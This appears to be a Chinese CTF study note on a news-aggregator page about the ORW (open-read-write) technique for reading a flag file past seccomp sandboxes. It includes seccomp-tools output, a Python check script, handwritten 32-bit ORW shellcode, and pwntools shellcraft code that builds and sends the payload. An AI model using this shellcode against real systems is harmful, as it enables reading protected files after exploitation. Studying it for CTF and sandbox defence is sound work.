当前位置: 首页 > news >正文

【学习记录】Week3(四):沙箱突围——ORW 学习路径索引与实战规划

写在前面:在真实的漏洞利用场景中,尤其是高版本的 CTF 题目或实际系统中,直接通过execve执行/bin/sh的道路往往被沙箱机制(如seccomp)封死。此时,ORW(Open-Read-Write)技术便成为我们读取敏感文件(如 flag)的核心手段。本文将为你梳理一条清晰的 ORW 学习路径,并规划后续进阶内容。

📑 目录

  1. 核心概念:什么是 ORW?为什么需要它?
  2. 沙箱机制检测:seccomp-tools实战
  3. ORW 基础实现:从系统调用到 Shellcode
  4. 进阶路径与后续规划
  5. 总结与终极实战建议

1. 核心概念:什么是 ORW?为什么需要它?

ORWOpen, Read, Write三个系统调用的缩写,是一种在沙箱限制环境下(特别是禁用execve系统调用后)读取敏感文件的技术csdn.net+1。

典型场景:
当目标程序通过prctlseccomp加载了严格的系统调用过滤器,仅允许open,read,write,exit等少数“安全”系统调用时,传统的system("/bin/sh")execveshellcode 将直接导致进程被SIGKILL终止csdn.net。此时,我们只能通过 ORW 技术来“读出” flag 文件。

ORW 的核心流程:

  1. open(filename, flags)- 打开目标文件(如./flag),返回文件描述符(通常为 3)。
  2. read(fd, buffer, size)- 通过文件描述符将文件内容读取到一块可控的内存区域。
  3. write(fd, buffer, size)- 将内存中的文件内容写入到标准输出(fd=1),从而在终端看到 flagcsdn.net+1。

2. 沙箱机制检测:seccomp-tools实战

在动手构造 ORW 之前,第一步永远是检测沙箱规则,确定哪些系统调用被允许,哪些被禁止aliyun.com+1。

2.1 使用seccomp-tools工具

在终端中,对目标二进制文件执行:

seccomp-tools dump ./vuln

假设性输出(模拟沙箱规则):

line CODE JT JF K 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011 0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011 0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011 0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011 0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011 <-- 允许 0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011 <-- 允许 0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011 <-- 允许 0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38) <-- 其他调用返回错误 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW

从输出中可以清晰看到,沙箱仅允许open,read,write,exit,sigreturn等系统调用,而execve被明确禁止(返回ERRNO(38))。这确认了我们需要使用 ORW 技术csdn.net+1。

2.2 在 Pwntools 中集成检测

在 Exploit 脚本中,可以自动运行此工具并解析输出:

from pwn import * import subprocess def check_seccomp(binary_path): result = subprocess.run(['seccomp-tools', 'dump', binary_path], capture_output=True, text=True) if 'return ERRNO' in result.stdout: print("[+] 沙箱已启用,允许的系统调用:") print(result.stdout) return True else: print("[-] 未检测到沙箱或允许所有系统调用") return False # 使用示例 if check_seccomp('./vuln'): # 构造ORW Payload pass

3. ORW 基础实现:从系统调用到 Shellcode

3.1 系统调用号与参数约定

进行 ORW 前,必须牢记目标架构的系统调用号和参数传递方式。

架构openreadwrite参数传递约定
i386 (32位)534int 0x80触发;eax=调用号,参数依次在ebx, ecx, edx
amd64 (64位)201syscall触发;rax=调用号,参数依次在rdi, rsi, rdx

3.2 手写 ORW Shellcode (32位示例)

结合 Week3(三)的手写 Shellcode 技巧,一段基础的 32 位 ORW Shellcode 如下:

; open("./flag", 0) - 系统调用号 5 xor eax, eax mov al, 5 xor ecx, ecx ; flags = 0 (只读) xor edx, edx ; mode = 0 push 0x00006761 ; "ag\0\0" (小端序,倒序压栈) push 0x6c662f2e ; "./fl" mov ebx, esp ; ebx 指向 "./flag" 字符串 int 0x80 ; eax = fd (通常为 3) ; read(3, esp-0x100, 0x100) - 系统调用号 3 mov ebx, eax ; fd = 3 xor eax, eax mov al, 3 mov ecx, esp ; buffer = 栈上某地址 (此处用esp,需确保可写) sub ecx, 0x100 ; 调整指针到栈帧内安全区域 mov edx, 0x100 ; count = 256字节 int 0x80 ; eax = 实际读取的字节数 ; write(1, ecx, eax) - 系统调用号 4 mov edx, eax ; count = 之前读取的字节数 mov ebx, 1 ; fd = 1 (标准输出) mov eax, 4 ; ecx 仍然指向读取的 buffer int 0x80

3.3 使用 Pwntools 的shellcraft模块

对于快速利用,Pwntools 的shellcraft模块提供了现成的 ORW 链aliyun.com+1。

from pwn import * context.arch = 'i386' # 或 'amd64' # 生成 ORW Shellcode shellcode = '' shellcode += shellcraft.open('./flag') # open("./flag", 0) shellcode += shellcraft.read('eax', 'esp', 0x100) # read(fd, esp, 0x100) shellcode += shellcraft.write(1, 'esp', 0x100) # write(1, esp, 0x100) # 编译并发送 payload = asm(shellcode) p.sendline(payload)
http://www.jsqmd.com/news/1097239/

相关文章:

  • openeuler/pkgship-panel使用指南:一站式解决软件包构建异常监控与通知
  • G-Helper:3步快速掌握华硕笔记本硬件控制的终极方案
  • FDE的困境:国外爆火与国内市场的水土不服
  • 图解人工智能(70)人工智能前沿-重构材料微观三维结构
  • GitHub Copilot 用户突破 2000 万之后:AI 编程助手在企业级落地的真实收益与隐性成本
  • 猫抓浏览器扩展:一站式网页资源嗅探下载终极指南
  • DamaiHelper:大麦网演唱会抢票自动化工具全解析
  • 毕昇JDK 25核心组件探秘:HotSpot虚拟机优化技术详解
  • sysHAX社区贡献指南:如何参与开源异构推理加速系统的开发
  • openEuler/bigdata社区参与指南:如何成为开源大数据贡献者
  • 3步搞定股票数据获取:MOOTDX量化分析实战指南
  • Origin 2025安装包免费下载及详细安装教程(科学绘图与数据分析必备工具)
  • 2026深度实测:8款主流AI编程工具横评,从个人开发到企业选型全指南
  • TVA与具身智能复杂且深刻的结构性关联(3)
  • 告别‘豆腐块’!手把手教你为Allegro封装添加真实3D模型(附STEP库管理技巧)
  • Switch控制器PC适配实战指南:从模拟器到原生游戏的完整解决方案
  • 2026年AI抠图工具全解:电脑软件、在线网站、手机APP实操教程
  • ModelEngine社区贡献指南:如何参与开源项目并成为核心开发者
  • 如何使用safeguard-web快速搭建企业级服务器运维系统:完整指南
  • BetterJoy:让Switch控制器在PC上重获新生的终极方案
  • Xonaly:无广告、保护隐私的加拿大研发搜索引擎来袭!
  • utcpio完全教程:5个核心功能详解与实用示例
  • 机器视觉中的蓝宝石切割(十年前的u米级别miniled,半导体晶圆切割项目)
  • 解锁网易云音乐NCM格式:从平台专属到通用音频的完整指南
  • 计算机毕业设计之高校科研信息管理系统
  • Google IO App:一个写了十年的 Android 示例项目
  • AI Agent 的记忆机制:从短期记忆到向量数据库
  • 从源码到应用:Kiran Session Guard 编译与安装完全教程
  • Kubernetes 交付 Skill:Helm Chart 生成、参数优化与部署检查一条龙
  • [实战] 2026年扫描图纸怎么添加气泡?高效率FAI检验计划编制指南